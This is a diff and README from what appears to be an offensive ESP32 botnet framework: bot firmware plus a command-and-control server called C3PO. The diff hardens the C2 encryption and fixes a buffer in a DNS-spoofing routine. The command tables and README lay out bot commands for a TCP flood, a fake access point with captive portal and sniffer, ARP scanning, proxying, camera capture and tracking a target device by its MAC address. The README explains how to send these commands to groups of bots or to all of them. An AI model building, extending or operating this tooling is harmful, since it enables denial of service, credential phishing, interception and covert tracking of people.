||||
size_t proto_len = stream.bytes_written;
|
||||
|
||||
uint8_t *cipher =
|
||||
(uint8_t *)chacha_cd(buffer, proto_len);
|
||||
if (!cipher) {
|
||||
ESP_LOGE(TAG, "chacha_cd failed");
|
||||
/* nonce[12] + ciphertext + tag[16] */
|
||||
uint8_t enc_buf[MAX_PROTOBUF_SIZE + 12 + 16];
|
||||
|
||||
int enc_len = crypto_encrypt(pb_buf, proto_len,
|
||||
enc_buf, sizeof(enc_buf));
|
||||
if (enc_len < 0) {
|
||||
ESP_LOGE(TAG, "crypto_encrypt failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
bool ok = send_base64_frame(cipher, proto_len);
|
||||
free(cipher);
|
||||
return ok;
|
||||
return send_base64_frame(enc_buf, (size_t)enc_len);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
|
||||
@ -18,14 +18,15 @@ void process_command(const c2_Command *cmd)
|
||||
}
|
||||
|
||||
/* -----------------------------------------------------
|
||||
* Device ID check
|
||||
* Device ID check — allow broadcast (empty device_id)
|
||||
* ----------------------------------------------------- */
|
||||
//if (!device_id_matches(CONFIG_DEVICE_ID, cmd->device_id)) {
|
||||
// ESP_LOGW(TAG,
|
||||
// "Command not for this device (target=%s)",
|
||||
// cmd->device_id);
|
||||
// return;
|
||||
//}
|
||||
if (cmd->device_id[0] != '\0' &&
|
||||
strcmp(CONFIG_DEVICE_ID, cmd->device_id) != 0) {
|
||||
ESP_LOGW(TAG,
|
||||
"Command not for this device (target=%s, self=%s)",
|
||||
cmd->device_id, CONFIG_DEVICE_ID);
|
||||
return;
|
||||
}
|
||||
|
||||
/* -----------------------------------------------------
|
||||
* Basic validation
|
||||
|
||||
@ -64,14 +64,25 @@ extern int sock;
|
||||
bool com_init(void);
|
||||
|
||||
/* ============================================================
|
||||
* CRYPTO API
|
||||
* CRYPTO API (ChaCha20-Poly1305 AEAD + HKDF)
|
||||
* ============================================================ */
|
||||
|
||||
/* Init crypto: read master key from factory NVS, derive via HKDF-SHA256 */
|
||||
bool crypto_init(void);
|
||||
|
||||
/*
|
||||
* ChaCha20 encrypt/decrypt
|
||||
* Retourne un buffer malloc()'d → free() obligatoire
|
||||
* Encrypt (AEAD). Output: nonce[12] || ciphertext || tag[16]
|
||||
* Returns total output length, or -1 on error.
|
||||
*/
|
||||
unsigned char *chacha_cd(const unsigned char *data, size_t data_len);
|
||||
int crypto_encrypt(const uint8_t *plain, size_t plain_len,
|
||||
uint8_t *out, size_t out_cap);
|
||||
|
||||
/*
|
||||
* Decrypt + verify (AEAD). Input: nonce[12] || ciphertext || tag[16]
|
||||
* Returns plaintext length, or -1 on error / auth failure.
|
||||
*/
|
||||
int crypto_decrypt(const uint8_t *in, size_t in_len,
|
||||
uint8_t *out, size_t out_cap);
|
||||
|
||||
/* Base64 helpers */
|
||||
char *base64_decode(const char *input, size_t *output_len);
|
||||
|
||||
@ -268,14 +268,14 @@ static int cmd_fakeap_sniffer_off(
|
||||
* REGISTER COMMANDS
|
||||
* ============================================================ */
|
||||
static const command_t fakeap_cmds[] = {
|
||||
{ "fakeap_start", 1, 3, cmd_fakeap_start, NULL, false },
|
||||
{ "fakeap_stop", 0, 0, cmd_fakeap_stop, NULL, false },
|
||||
{ "fakeap_status", 0, 0, cmd_fakeap_status, NULL, false },
|
||||
{ "fakeap_clients", 0, 0, cmd_fakeap_clients, NULL, false },
|
||||
{ "fakeap_portal_start", 0, 0, cmd_fakeap_portal_start, NULL, false },
|
||||
{ "fakeap_portal_stop", 0, 0, cmd_fakeap_portal_stop, NULL, false },
|
||||
{ "fakeap_sniffer_on", 0, 0, cmd_fakeap_sniffer_on, NULL, false },
|
||||
{ "fakeap_sniffer_off", 0, 0, cmd_fakeap_sniffer_off, NULL, false }
|
||||
{ "fakeap_start", NULL, NULL, 1, 3, cmd_fakeap_start, NULL, false },
|
||||
{ "fakeap_stop", NULL, NULL, 0, 0, cmd_fakeap_stop, NULL, false },
|
||||
{ "fakeap_status", NULL, NULL, 0, 0, cmd_fakeap_status, NULL, false },
|
||||
{ "fakeap_clients", NULL, NULL, 0, 0, cmd_fakeap_clients, NULL, false },
|
||||
{ "fakeap_portal_start", NULL, NULL, 0, 0, cmd_fakeap_portal_start, NULL, false },
|
||||
{ "fakeap_portal_stop", NULL, NULL, 0, 0, cmd_fakeap_portal_stop, NULL, false },
|
||||
{ "fakeap_sniffer_on", NULL, NULL, 0, 0, cmd_fakeap_sniffer_on, NULL, false },
|
||||
{ "fakeap_sniffer_off", NULL, NULL, 0, 0, cmd_fakeap_sniffer_off, NULL, false }
|
||||
};
|
||||
|
||||
void mod_fakeap_register_commands(void)
|
||||
|
||||
@ -300,7 +300,15 @@ static void send_dns_spoof(
|
||||
int req_len,
|
||||
uint32_t ip
|
||||
) {
|
||||
uint8_t resp[512];
|
||||
/* DNS answer appends 16 bytes after the request */
|
||||
#define DNS_ANSWER_SIZE 16
|
||||
uint8_t resp[512 + DNS_ANSWER_SIZE];
|
||||
|
||||
if (req_len <= 0 || req_len > 512) {
|
||||
ESP_LOGW(TAG, "DNS spoof: invalid req_len=%d", req_len);
|
||||
return;
|
||||
}
|
||||
|
||||
memcpy(resp, req, req_len);
|
||||
|
||||
resp[2] |= 0x80; // QR = response
|
||||
|
||||
@ -150,11 +150,11 @@
|
||||
* REGISTER COMMANDS
|
||||
* ============================================================ */
|
||||
static const command_t network_cmds[] = {
|
||||
{ "ping", 1, 8, cmd_ping, NULL, true },
|
||||
{ "arp_scan", 0, 0, cmd_arp_scan, NULL, true },
|
||||
{ "proxy_start", 2, 2, cmd_proxy_start, NULL, true },
|
||||
{ "proxy_stop", 0, 0, cmd_proxy_stop, NULL, false },
|
||||
{ "dos_tcp", 3, 3, cmd_dos_tcp, NULL, true }
|
||||
{ "ping", NULL, NULL, 1, 8, cmd_ping, NULL, true },
|
||||
{ "arp_scan", NULL, NULL, 0, 0, cmd_arp_scan, NULL, true },
|
||||
{ "proxy_start", NULL, NULL, 2, 2, cmd_proxy_start, NULL, true },
|
||||
{ "proxy_stop", NULL, NULL, 0, 0, cmd_proxy_stop, NULL, false },
|
||||
{ "dos_tcp", NULL, NULL, 3, 3, cmd_dos_tcp, NULL, true }
|
||||
};
|
||||
|
||||
void mod_network_register_commands(void)
|
||||
|
||||
@ -53,8 +53,8 @@ static bool camera_initialized = false;
|
||||
static int udp_sock = -1;
|
||||
static struct sockaddr_in dest_addr;
|
||||
|
||||
/* ⚠️ à passer en Kconfig plus tard */
|
||||
static const char *token = "Sup3rS3cretT0k3n";
|
||||
/* Camera UDP authentication token (from Kconfig) */
|
||||
static const char *token = CONFIG_CAMERA_UDP_TOKEN;
|
||||
|
||||
/* ============================================================
|
||||
* CAMERA INIT
|
||||
|
||||
@ -184,24 +184,25 @@ static void ble_init(void)
|
||||
/* ============================================================
|
||||
* COMMANDS
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_trilat_start(int argc, char **argv, void *ctx)
|
||||
static esp_err_t cmd_trilat_start(int argc, char **argv, const char *request_id, void *ctx)
|
||||
{
|
||||
if (argc != 4)
|
||||
return msg_error(TAG, "usage: trilat start <mac> <url> <bearer>", NULL);
|
||||
return msg_error(TAG, "usage: trilat start <mac> <url> <bearer>", request_id);
|
||||
|
||||
if (trilat_running)
|
||||
return msg_error(TAG, "already running", NULL);
|
||||
return msg_error(TAG, "already running", request_id);
|
||||
|
||||
ESP_ERROR_CHECK(nvs_flash_init());
|
||||
|
||||
if (!parse_mac_str(argv[1], target_mac))
|
||||
return msg_error(TAG, "invalid MAC", NULL);
|
||||
return msg_error(TAG, "invalid MAC", request_id);
|
||||
|
||||
strncpy(target_url, argv[2], MAX_LEN-1);
|
||||
strncpy(auth_bearer, argv[3], MAX_LEN-1);
|
||||
snprintf(auth_header, sizeof(auth_header), "Bearer %s", auth_bearer);
|
||||
|
||||
buffer_mutex = xSemaphoreCreateMutex();
|
||||
if (!buffer_mutex)
|
||||
buffer_mutex = xSemaphoreCreateMutex();
|
||||
data_buffer[0] = 0;
|
||||
buffer_len = 0;
|
||||
|
||||
@ -211,19 +212,19 @@ static esp_err_t cmd_trilat_start(int argc, char **argv, void *ctx)
|
||||
trilat_running = true;
|
||||
xTaskCreate(post_task, "trilat_post", 4096, NULL, 5, &post_task_handle);
|
||||
|
||||
msg_info(TAG, "trilat started", NULL);
|
||||
msg_info(TAG, "trilat started", request_id);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t cmd_trilat_stop(int argc, char **argv, void *ctx)
|
||||
static esp_err_t cmd_trilat_stop(int argc, char **argv, const char *request_id, void *ctx)
|
||||
{
|
||||
if (!trilat_running)
|
||||
return msg_error(TAG, "not running", NULL);
|
||||
return msg_error(TAG, "not running", request_id);
|
||||
|
||||
trilat_running = false;
|
||||
esp_ble_gap_stop_scanning();
|
||||
|
||||
msg_info(TAG, "trilat stopped", NULL);
|
||||
msg_info(TAG, "trilat stopped", request_id);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
|
||||
@ -162,10 +162,10 @@ static int cmd_system_info(
|
||||
* COMMAND REGISTRATION
|
||||
* ============================================================ */
|
||||
static const command_t system_cmds[] = {
|
||||
{ "system_reboot", 0, 0, cmd_system_reboot, NULL, false },
|
||||
{ "system_mem", 0, 0, cmd_system_mem, NULL, false },
|
||||
{ "system_uptime", 0, 0, cmd_system_uptime, NULL, false },
|
||||
{ "system_info", 0, 0, cmd_system_info, NULL, false }
|
||||
{ "system_reboot", NULL, NULL, 0, 0, cmd_system_reboot, NULL, false },
|
||||
{ "system_mem", NULL, NULL, 0, 0, cmd_system_mem, NULL, false },
|
||||
{ "system_uptime", NULL, NULL, 0, 0, cmd_system_uptime, NULL, false },
|
||||
{ "system_info", NULL, NULL, 0, 0, cmd_system_info, NULL, false }
|
||||
};
|
||||
|
||||
void mod_system_register_commands(void)
|
||||
|
||||
@ -102,6 +102,14 @@ config RECON_MODE_CAMERA
|
||||
bool "Enable Camera Reconnaissance"
|
||||
default n
|
||||
|
||||
config CAMERA_UDP_TOKEN
|
||||
string "Camera UDP Token"
|
||||
default "Sup3rS3cretT0k3n"
|
||||
depends on RECON_MODE_CAMERA
|
||||
help
|
||||
Secret token prepended to camera UDP packets.
|
||||
Must match CAMERA_SECRET_TOKEN on the C2 server.
|
||||
|
||||
config RECON_MODE_MLAT
|
||||
bool "Enable MLAT (Multilateration) Module"
|
||||
default n
|
||||
@ -116,13 +124,17 @@ endmenu
|
||||
################################################
|
||||
menu "Security"
|
||||
|
||||
config CRYPTO_KEY
|
||||
string "ChaCha20 Key (32 bytes)"
|
||||
default "testde32chars0000000000000000000"
|
||||
config CRYPTO_FCTRY_NS
|
||||
string "Factory NVS namespace for crypto"
|
||||
default "crypto"
|
||||
help
|
||||
NVS namespace in the factory partition where the master key is stored.
|
||||
|
||||
config CRYPTO_NONCE
|
||||
string "ChaCha20 Nonce (12 bytes)"
|
||||
default "noncenonceno"
|
||||
config CRYPTO_FCTRY_KEY
|
||||
string "Factory NVS key name for master key"
|
||||
default "master_key"
|
||||
help
|
||||
NVS key name for the 32-byte master key blob in the factory partition.
|
||||
|
||||
endmenu
|
||||
|
||||
|
||||
@ -70,6 +70,12 @@ void app_main(void)
|
||||
|
||||
init_nvs();
|
||||
|
||||
/* Crypto: read master key from factory NVS, derive encryption key */
|
||||
if (!crypto_init()) {
|
||||
ESP_LOGE(TAG, "CRYPTO INIT FAILED – no master key in factory NVS?");
|
||||
esp_restart();
|
||||
}
|
||||
|
||||
/* =====================================================
|
||||
* Command system
|
||||
* ===================================================== */
|
||||
|
||||
6
espilon_bot/partitions.csv
Normal file
6
espilon_bot/partitions.csv
Normal file
@ -0,0 +1,6 @@
|
||||
# Epsilon Bot - Custom Partition Table
|
||||
# Name, Type, SubType, Offset, Size, Flags
|
||||
nvs, data, nvs, 0x9000, 0x6000,
|
||||
phy_init, data, phy, 0xf000, 0x1000,
|
||||
fctry, data, nvs, 0x10000, 0x6000,
|
||||
factory, app, factory, 0x20000, 0x1E0000,
|
||||
|
27
espilon_bot/sdkconfig.defaults
Normal file
27
espilon_bot/sdkconfig.defaults
Normal file
@ -0,0 +1,27 @@
|
||||
# Espilon Bot - sdkconfig defaults
|
||||
# Device
|
||||
CONFIG_DEVICE_ID="espilon-demo"
|
||||
|
||||
# Network
|
||||
CONFIG_WIFI_SSID="mywifi"
|
||||
CONFIG_WIFI_PASS=""
|
||||
CONFIG_SERVER_IP="192.168.1.100"
|
||||
CONFIG_SERVER_PORT=2626
|
||||
|
||||
# Crypto (factory NVS)
|
||||
CONFIG_CRYPTO_FCTRY_NS="crypto"
|
||||
CONFIG_CRYPTO_FCTRY_KEY="master_key"
|
||||
|
||||
# mbedTLS - ChaCha20-Poly1305 + HKDF
|
||||
CONFIG_MBEDTLS_CHACHA20_C=y
|
||||
CONFIG_MBEDTLS_POLY1305_C=y
|
||||
CONFIG_MBEDTLS_CHACHAPOLY_C=y
|
||||
CONFIG_MBEDTLS_HKDF_C=y
|
||||
|
||||
# Partition table
|
||||
CONFIG_PARTITION_TABLE_CUSTOM=y
|
||||
CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv"
|
||||
|
||||
# Logging
|
||||
CONFIG_ESPILON_LOG_LEVEL_INFO=y
|
||||
CONFIG_ESPILON_LOG_BOOT_SUMMARY=y
|
||||
@ -45,3 +45,9 @@ VIDEO_ENABLED=true
|
||||
VIDEO_PATH=static/streams/record.avi
|
||||
VIDEO_FPS=10
|
||||
VIDEO_CODEC=MJPG
|
||||
|
||||
# ===================
|
||||
# Honeypot Dashboard (optional plugin)
|
||||
# ===================
|
||||
# Path to espilon-honey-pot/tools/ directory
|
||||
# HP_DASHBOARD_PATH=/path/to/espilon-honey-pot/tools
|
||||
372
tools/C3PO/README.md
Normal file
372
tools/C3PO/README.md
Normal file
@ -0,0 +1,372 @@
|
||||
# C3PO (C2) - Full Documentation
|
||||
|
||||
C3PO is the Command & Control (C2) server for ESPILON agents. It manages device connections, command dispatch, device state tracking, and provides a CLI, a multi-device TUI (Textual), a web dashboard, and a UDP camera receiver with recording.
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
Main features:
|
||||
- TCP server for ESP agents (Base64 + ChaCha20-Poly1305 AEAD + Protobuf)
|
||||
- Device registry and group management
|
||||
- Interactive CLI + multi-device TUI
|
||||
- Web dashboard (Flask) with Dashboard, Cameras, and MLAT pages
|
||||
- UDP camera receiver with recording
|
||||
- MLAT (multilateration) engine for RSSI-based positioning
|
||||
|
||||
---
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.10+ (tested with 3.11)
|
||||
- pip (package manager)
|
||||
- Virtual environment (recommended)
|
||||
|
||||
---
|
||||
|
||||
## Installation
|
||||
|
||||
### 1. Créer un environnement virtuel
|
||||
|
||||
```bash
|
||||
cd tools/c2
|
||||
python3 -m venv .venv
|
||||
```
|
||||
|
||||
Ceci crée un dossier `.venv/` isolé pour les dépendances Python.
|
||||
|
||||
### 2. Activer l'environnement
|
||||
|
||||
**Linux / macOS :**
|
||||
|
||||
```bash
|
||||
source .venv/bin/activate
|
||||
```
|
||||
|
||||
**Windows (PowerShell) :**
|
||||
|
||||
```powershell
|
||||
.\.venv\Scripts\Activate.ps1
|
||||
```
|
||||
|
||||
**Windows (CMD) :**
|
||||
|
||||
```cmd
|
||||
.\.venv\Scripts\activate.bat
|
||||
```
|
||||
|
||||
Le prompt devrait afficher `(.venv)` pour confirmer l'activation.
|
||||
|
||||
### 3. Installer les dépendances
|
||||
|
||||
```bash
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
Ceci installe toutes les dépendances nécessaires :
|
||||
|
||||
| Package | Version | Usage |
|
||||
| --- | --- | --- |
|
||||
| `pycryptodome` | >=3.15.0 | ChaCha20-Poly1305 AEAD + HKDF key derivation |
|
||||
| `protobuf` | >=4.21.0 | Sérialisation Protocol Buffers |
|
||||
| `flask` | >=2.0.0 | Serveur web (dashboard, API) |
|
||||
| `python-dotenv` | >=1.0.0 | Chargement config `.env` |
|
||||
| `textual` | >=0.40.0 | Interface TUI multi-pane |
|
||||
| `opencv-python` | >=4.8.0 | Traitement vidéo/images caméra |
|
||||
| `numpy` | >=1.24.0 | Calculs matriciels (opencv, scipy) |
|
||||
| `scipy` | >=1.10.0 | Algorithme MLAT (optimisation) |
|
||||
|
||||
### 4. Vérifier l'installation
|
||||
|
||||
```bash
|
||||
python -c "from web.server import UnifiedWebServer; print('OK')"
|
||||
```
|
||||
|
||||
### Désactiver l'environnement
|
||||
|
||||
```bash
|
||||
deactivate
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Configuration
|
||||
|
||||
### C2 (TCP)
|
||||
|
||||
The core C2 server uses constants defined in `utils/constant.py`:
|
||||
- `HOST` (default `0.0.0.0`)
|
||||
- `PORT` (default `2626`)
|
||||
|
||||
### Web + Camera + MLAT
|
||||
|
||||
Copy `.env.example` to `.env` and adjust as needed:
|
||||
|
||||
```bash
|
||||
cp .env.example .env
|
||||
```
|
||||
|
||||
Key variables:
|
||||
- `WEB_HOST`, `WEB_PORT` (dashboard web server, default `0.0.0.0:8000`)
|
||||
- `UDP_HOST`, `UDP_PORT` (camera UDP, default `0.0.0.0:5000`)
|
||||
- `CAMERA_SECRET_TOKEN` (must match firmware)
|
||||
- `WEB_USERNAME`, `WEB_PASSWORD` (dashboard login)
|
||||
- `FLASK_SECRET_KEY` (sessions)
|
||||
- `MULTILAT_AUTH_TOKEN` (Bearer token for MLAT API)
|
||||
- `IMAGE_DIR` (JPEG frames)
|
||||
- `VIDEO_ENABLED`, `VIDEO_PATH`, `VIDEO_FPS`, `VIDEO_CODEC`
|
||||
|
||||
---
|
||||
|
||||
## Launch
|
||||
|
||||
Classic CLI mode:
|
||||
|
||||
```bash
|
||||
python3 c3po.py
|
||||
```
|
||||
|
||||
TUI (Textual) mode:
|
||||
|
||||
```bash
|
||||
python3 c3po.py --tui
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## C2 Commands (CLI/TUI)
|
||||
|
||||
Main commands:
|
||||
|
||||
| Command | Description |
|
||||
| --- | --- |
|
||||
| `help [command]` | General help or per-command help |
|
||||
| `list` | List connected devices |
|
||||
| `modules` | List ESP commands by module |
|
||||
| `send <target> <cmd> [args...]` | Send a command |
|
||||
| `group <action>` | Manage groups |
|
||||
| `active_commands` | List running commands |
|
||||
| `web start\|stop\|status` | Web dashboard |
|
||||
| `camera start\|stop\|status` | Camera UDP receiver |
|
||||
| `clear` | Clear screen |
|
||||
| `exit` | Quit |
|
||||
|
||||
Examples:
|
||||
|
||||
```bash
|
||||
list
|
||||
send ce4f626b system_reboot
|
||||
send all fakeap_status
|
||||
send group scanners mlat start AA:BB:CC:DD:EE:FF
|
||||
web start
|
||||
camera start
|
||||
active_commands
|
||||
```
|
||||
|
||||
### Groups
|
||||
|
||||
```bash
|
||||
group add bots ce4f626b a91dd021
|
||||
group list
|
||||
group show bots
|
||||
group remove bots ce4f626b
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ESP Commands (Modules)
|
||||
|
||||
ESP commands are organized by module (use `modules`). Summary:
|
||||
|
||||
| Module | Command | Description |
|
||||
| --- | --- | --- |
|
||||
| system | `system_reboot` | Reboot ESP32 |
|
||||
| system | `system_mem` | Memory info |
|
||||
| system | `system_uptime` | Device uptime |
|
||||
| system | `system_info` | Auto-query on connect |
|
||||
| network | `ping <host>` | Ping |
|
||||
| network | `arp_scan` | ARP scan |
|
||||
| network | `proxy_start <ip> <port>` | TCP proxy |
|
||||
| network | `proxy_stop` | Stop proxy |
|
||||
| network | `dos_tcp <ip> <port> <count>` | TCP flood |
|
||||
| fakeap | `fakeap_start <ssid> [open\|wpa2] [pass]` | Start Fake AP |
|
||||
| fakeap | `fakeap_stop` | Stop Fake AP |
|
||||
| fakeap | `fakeap_status` | Fake AP status |
|
||||
| fakeap | `fakeap_clients` | List clients |
|
||||
| fakeap | `fakeap_portal_start` | Captive portal |
|
||||
| fakeap | `fakeap_portal_stop` | Stop portal |
|
||||
| fakeap | `fakeap_sniffer_on` | Sniffer on |
|
||||
| fakeap | `fakeap_sniffer_off` | Sniffer off |
|
||||
| recon | `cam_start <ip> <port>` | Start camera stream |
|
||||
| recon | `cam_stop` | Stop camera stream |
|
||||
| recon | `mlat config [gps\|local] <c1> <c2>` | Set scanner position |
|
||||
| recon | `mlat mode <ble\|wifi>` | Scan mode |
|
||||
| recon | `mlat start <mac>` | Start MLAT |
|
||||
| recon | `mlat stop` | Stop MLAT |
|
||||
| recon | `mlat status` | MLAT status |
|
||||
|
||||
Notes:
|
||||
- `DEV_MODE = True` in `tools/c2/cli/cli.py` allows raw text: `send <target> <any text>`
|
||||
- `system_info` is automatically sent on new connections.
|
||||
|
||||
---
|
||||
|
||||
## TUI (Textual)
|
||||
|
||||
The TUI shows:
|
||||
- Left panel: all connected devices
|
||||
- Right panel: global logs
|
||||
- Bottom input bar with autocomplete
|
||||
|
||||
Key bindings:
|
||||
- `Alt+G`: toggle global logs
|
||||
- `Ctrl+L`: clear global logs
|
||||
- `Ctrl+Q`: quit
|
||||
- `Esc`: focus input
|
||||
- `Tab`: completion
|
||||
|
||||
---
|
||||
|
||||
## Screenshots
|
||||
|
||||
Replace the placeholders below with your own captures:
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
---
|
||||
|
||||
## Web Dashboard
|
||||
|
||||
Start from the CLI:
|
||||
|
||||
```bash
|
||||
web start
|
||||
```
|
||||
|
||||
Default local URL:
|
||||
|
||||
```text
|
||||
http://127.0.0.1:8000
|
||||
```
|
||||
|
||||
Default credentials: `admin` / `admin` (defined in `.env`).
|
||||
|
||||
Pages:
|
||||
- `/dashboard` (devices)
|
||||
- `/cameras` (streams)
|
||||
- `/mlat` (MLAT view)
|
||||
|
||||
### API (Bearer token)
|
||||
|
||||
Authenticate with:
|
||||
|
||||
```text
|
||||
Authorization: Bearer <MULTILAT_AUTH_TOKEN>
|
||||
```
|
||||
|
||||
Endpoints:
|
||||
- `GET /api/devices`
|
||||
- `GET /api/cameras`
|
||||
- `POST /api/recording/start/<camera_id>`
|
||||
- `POST /api/recording/stop/<camera_id>`
|
||||
- `GET /api/recording/status?camera_id=<id>`
|
||||
- `GET /api/recordings`
|
||||
- `POST /api/mlat/collect`
|
||||
- `GET /api/mlat/state`
|
||||
- `GET|POST /api/mlat/config`
|
||||
- `POST /api/mlat/clear`
|
||||
- `GET /api/stats`
|
||||
|
||||
Example:
|
||||
|
||||
```bash
|
||||
curl -H "Authorization: Bearer multilat_secret_token" http://127.0.0.1:8000/api/devices
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Camera UDP
|
||||
|
||||
The UDP receiver assembles JPEG frames and stores them in `IMAGE_DIR`. Expected protocol:
|
||||
- Each packet starts with `CAMERA_SECRET_TOKEN`
|
||||
- `START`: begin frame
|
||||
- `END`: end frame
|
||||
- Other packets are JPEG chunks
|
||||
|
||||
C2 commands:
|
||||
- `camera start`
|
||||
- `camera stop`
|
||||
- `camera status`
|
||||
|
||||
Quick test:
|
||||
|
||||
```bash
|
||||
python3 test_udp.py 5000
|
||||
```
|
||||
|
||||
Recording:
|
||||
- Triggered via Web API (recording endpoints)
|
||||
- Files stored in `static/recordings`
|
||||
|
||||
---
|
||||
|
||||
## MLAT (Multilateration)
|
||||
|
||||
Supported formats (from ESP):
|
||||
- `MLAT:G;<lat>;<lon>;<rssi>`
|
||||
- `MLAT:L;<x>;<y>;<rssi>`
|
||||
- Legacy: `MLAT:<lat>;<lon>;<rssi>`
|
||||
|
||||
Requirements:
|
||||
- At least 3 active scanners
|
||||
- Calibration via `rssi_at_1m` and `path_loss_n` (`/api/mlat/config`)
|
||||
|
||||
---
|
||||
|
||||
## Architecture (Summary)
|
||||
|
||||
```
|
||||
tools/C3PO/
|
||||
├── c3po.py # C2 entrypoint (CLI / TUI)
|
||||
├── cli/ # CLI + help
|
||||
├── commands/ # Registry + internal commands
|
||||
├── core/ # Registry, transport, crypto, keystore
|
||||
│ ├── crypto.py # ChaCha20-Poly1305 AEAD + HKDF
|
||||
│ ├── keystore.py # Per-device master key management (keys.json)
|
||||
│ ├── transport.py # TCP transport with per-device crypto
|
||||
│ └── registry.py # Device registry
|
||||
├── log/ # Log manager
|
||||
├── streams/ # Camera UDP + config
|
||||
├── tui/ # Textual UI
|
||||
├── web/ # Flask server + MLAT
|
||||
├── templates/ # HTML
|
||||
├── static/ # CSS/JS/streams/recordings
|
||||
├── utils/ # Display, constants
|
||||
├── keys.json # Per-device master key store
|
||||
└── requirements.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
- `Base64 decode failed` or `Decrypt failed`: verify the device was provisioned with `tools/provisioning/provision.py` and that `keys.json` contains the correct master key for the device ID
|
||||
- `TUI not available`: install `textual`
|
||||
- No camera frames: check `CAMERA_SECRET_TOKEN` and `UDP_PORT`
|
||||
- Web not reachable: check `WEB_HOST`, `WEB_PORT`, firewall
|
||||
- MLAT not resolving: needs at least 3 scanners
|
||||
|
||||
---
|
||||
|
||||
## Security Notes
|
||||
|
||||
- Each device must be provisioned with a unique master key via `tools/provisioning/provision.py`
|
||||
- Master keys are stored in `keys.json` — keep this file secure and never commit it to version control
|
||||
- The C2 derives per-device encryption keys using HKDF-SHA256 (master_key + device_id salt)
|
||||
- All C2 communications use ChaCha20-Poly1305 AEAD with random 12-byte nonces
|
||||
- Change `WEB_USERNAME` / `WEB_PASSWORD` and `FLASK_SECRET_KEY`
|
||||
- Change `MULTILAT_AUTH_TOKEN` for the API
|
||||
@ -7,6 +7,7 @@ import time
|
||||
import argparse
|
||||
|
||||
from core.registry import DeviceRegistry
|
||||
from core.keystore import KeyStore
|
||||
from core.transport import Transport
|
||||
from log.manager import LogManager
|
||||
from cli.cli import CLI
|
||||
@ -16,10 +17,11 @@ from core.groups import GroupRegistry
|
||||
from utils.constant import HOST, PORT
|
||||
from utils.display import Display
|
||||
|
||||
# Strict base64 validation (ESP sends BASE64 + '\n')
|
||||
BASE64_RE = re.compile(br'^[A-Za-z0-9+/=]+$')
|
||||
# New wire format: device_id:BASE64 + '\n'
|
||||
FRAME_RE = re.compile(br'^[A-Za-z0-9_-]+:[A-Za-z0-9+/=]+$')
|
||||
|
||||
RX_BUF_SIZE = 4096
|
||||
MAX_BUFFER_SIZE = 1024 * 1024 # 1MB max buffer to prevent memory exhaustion
|
||||
DEVICE_TIMEOUT_SECONDS = 300 # Devices are considered inactive after 5 minutes without a heartbeat
|
||||
HEARTBEAT_CHECK_INTERVAL = 10 # Check every 10 seconds
|
||||
|
||||
@ -40,6 +42,11 @@ def client_thread(sock: socket.socket, addr, transport: Transport, registry: Dev
|
||||
|
||||
buffer += data
|
||||
|
||||
# Prevent memory exhaustion from malicious clients
|
||||
if len(buffer) > MAX_BUFFER_SIZE:
|
||||
Display.error(f"Buffer overflow from {addr}, dropping connection")
|
||||
break
|
||||
|
||||
# Strict framing by '\n' (ESP behavior)
|
||||
while b"\n" in buffer:
|
||||
line, buffer = buffer.split(b"\n", 1)
|
||||
@ -48,9 +55,9 @@ def client_thread(sock: socket.socket, addr, transport: Transport, registry: Dev
|
||||
if not line:
|
||||
continue
|
||||
|
||||
# Ignore noise / invalid frames
|
||||
if not BASE64_RE.match(line):
|
||||
Display.system_message(f"Ignoring non-base64 data from {addr}")
|
||||
# Validate frame format: device_id:base64
|
||||
if not FRAME_RE.match(line):
|
||||
Display.system_message(f"Ignoring invalid frame from {addr}")
|
||||
continue
|
||||
|
||||
try:
|
||||
@ -110,15 +117,19 @@ $$ | $$\\ $$\\ $$ |$$ | $$ | $$ |
|
||||
# ============================
|
||||
registry = DeviceRegistry()
|
||||
logger = LogManager()
|
||||
|
||||
keystore = KeyStore("keys.json")
|
||||
|
||||
if not args.tui:
|
||||
Display.system_message(f"Loaded {len(keystore)} device key(s) from {keystore.path}")
|
||||
|
||||
# Initialize CLI first, then pass it to Transport
|
||||
commands = CommandRegistry()
|
||||
commands.register(RebootCommand())
|
||||
groups = GroupRegistry()
|
||||
|
||||
|
||||
# Placeholder for CLI, will be properly initialized after Transport
|
||||
cli_instance = None
|
||||
transport = Transport(registry, logger, cli_instance) # Pass a placeholder for now
|
||||
cli_instance = None
|
||||
transport = Transport(registry, logger, keystore, cli_instance)
|
||||
|
||||
cli_instance = CLI(registry, commands, groups, transport)
|
||||
transport.set_cli(cli_instance) # Set the actual CLI instance in transport
|
||||
@ -8,7 +8,10 @@ from cli.help import HelpManager
|
||||
from core.transport import Transport
|
||||
from proto.c2_pb2 import Command
|
||||
from streams.udp_receiver import UDPReceiver
|
||||
from streams.config import UDP_HOST, UDP_PORT, IMAGE_DIR, MULTILAT_AUTH_TOKEN
|
||||
from streams.config import (
|
||||
UDP_HOST, UDP_PORT, IMAGE_DIR, MULTILAT_AUTH_TOKEN,
|
||||
WEB_HOST, WEB_PORT, DEFAULT_USERNAME, DEFAULT_PASSWORD, FLASK_SECRET_KEY
|
||||
)
|
||||
from web.server import UnifiedWebServer
|
||||
from web.mlat import MlatEngine
|
||||
|
||||
@ -29,6 +32,12 @@ class CLI:
|
||||
self.udp_receiver: Optional[UDPReceiver] = None
|
||||
self.mlat_engine = MlatEngine()
|
||||
|
||||
# Honeypot dashboard components (created on web start)
|
||||
self.hp_store = None
|
||||
self.hp_commander = None
|
||||
self.hp_alerts = None
|
||||
self.hp_geo = None
|
||||
|
||||
readline.parse_and_bind("tab: complete")
|
||||
readline.set_completer(self._complete)
|
||||
|
||||
@ -227,7 +236,7 @@ class CLI:
|
||||
cmd.request_id = request_id
|
